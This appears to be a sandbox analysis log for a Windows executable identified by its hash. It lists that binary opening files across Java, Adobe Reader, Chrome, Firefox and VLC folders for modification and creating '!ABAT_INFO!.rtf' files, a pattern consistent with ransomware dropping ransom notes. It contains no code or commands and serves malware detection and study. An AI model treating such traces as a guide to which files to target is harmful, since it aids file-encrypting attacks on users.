81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\rss.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\he.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\management.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Porto_Velho 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Wake 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Argentina\Salta 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\EST 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-autoupdate-services_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Chihuahua 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Midway 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Mozilla Firefox\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\IDTemplates\ENU\DefaultID.pdf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.apache.batik.util_1.7.0.v201011041433.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.css.core.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\sunec.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\xul.dll.sig 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_20_666666_40x40.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\JSByteCodeWin.bin 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\HST 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\license.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\notification_plugin.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.dom.smil_1.0.0.v200806040011.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\etc\visualvm.clusters 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\Genko_2.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\Locales\sk.pak 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.ssl.feature_1.0.0.v20140827-1444\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\html\dcommon\gifs\larrow.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.bindings.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\p2\org.eclipse.equinox.p2.engine\.settings\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-spi-actions_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\org-netbeans-core_visualvm.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT+12 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\COPYING.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Windows Journal\Templates\blank.jtp 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\CMap\Identity-H 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\db\lib\derbyLocale_zh_TW.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Magadan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\modules\locale\com-sun-tools-visualvm-core_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_diagonals-thick_18_b81900_40x40.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\mai\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Chrome\Application\84.0.4147.89\WidevineCdm\manifest.json 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Indiana\Vevay 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\com.jrockit.mc.feature.console_5.5.0.165303\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Etc\GMT-3 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\policytool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Halifax 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\feature.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.rcp_4.4.0.v20141007-2301\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.p2.engine.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fonts\LucidaBrightDemiBold.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Vladivostok 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Atlantic\Cape_Verde 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\bin\servertool.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Hovd 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\META-INF\MANIFEST.MF 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.win32.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\jfxrt.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Chita 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\minidump-analyzer.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Scoresbysund 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Taipei 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Oslo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Dubai 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Etc\GMT+10 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.equinox.p2.rcp.feature_1.2.0.v20140523-0116\META-INF\ECLIPSE_.RSA 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychart.ui_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.swt.win32.win32.x86_64_3.103.1.v20140903-1947.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\fy\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\VideoLAN\VLC\locale\pa\LC_MESSAGES\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\management\jmxremote.password.template 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Microsoft Visual Studio 8\Common7\IDE\VSTA\ItemTemplates\CSharp\1033\AboutBox.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Choibalsan 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\adobepdf.xdc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Africa\El_Aaiun 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Swift_Current 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.httpclient4.feature_3.9.1.v20140827-1444\about.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Nairobi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Google\Update\Install\{24604DAC-26A2-4023-B42D-9AEA602FC027}\84.0.4147.89_chrome_installer.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Vancouver 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.flightrecorder.configuration_5.5.0.165303.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.common_2.10.1.v20140901-1043\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.osgi_3.10.1.v20140909-1633.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\dark\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.addons.swt.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-keyring-fallback_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\ext\meta-index 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\psfontj2d.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Krasnoyarsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Asia\Riyadh89 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\MountRestart.mpv2 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-util-enumerations.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Pacific\Tahiti 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\fonts\LucidaBrightRegular.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.help_2.0.102.v20141007-2301\epl-v10.html 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.text.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\Africa\Casablanca 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\sound.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\lua\http\requests\README.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\bin\native2ascii.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.emf.ecore_2.10.1.v20140901-1043\META-INF\eclipse.inf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.workbench.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.intro_3.4.200.v20130326-1254.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-openide-text.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\fontconfig.bfc 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\MyriadPro-It.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Resource\Font\AdobePiStd.otf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaws.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Irkutsk 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\sound.properties 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.ui.themes_1.0.1.v20140819-1717\css\e4_default_gtk.css 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\org-netbeans-modules-spi-actions.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\America\Santarem 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\VideoLAN\VLC\skins\fonts\FreeSans.ttf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\ffjcext.zip 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.rjmx_5.5.0.165303\icons\hprof-16.png 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.e4.ui.services.nl_ja_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.concurrent_1.1.0.v20130327-1442.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\[email protected] 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\AcroRead.msi 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\include\jdwpTransport.h 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Europe\Rome 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-editor-mimelookup_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\modules\locale\org-netbeans-modules-profiler-selector-ui_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\Resources\1033\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\server\Xusage.txt 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\bin\pack200.exe 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\jvm.cfg 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\configuration\config.ini 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\icons\file_obj.gif 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\!ABAT_INFO!.rtf 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-modules-settings_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-openide-dialogs_ja.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\CET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jre7\lib\zi\EET 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Australia\Hobart 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.core.databinding.beans.nl_zh_4.4.0.v20140623020002.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.w3c.css.sac_1.3.1.v200903091627.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\locale\org-netbeans-core-multiview_zh_CN.jar 81d81a4a1c7d17823e510b3fa647abda0c4508d3811233e9863b5f15e56cd04f.exe File opened for modification C:\Program Files\Java\jdk1.7.0_80\jre\lib\security\java.security 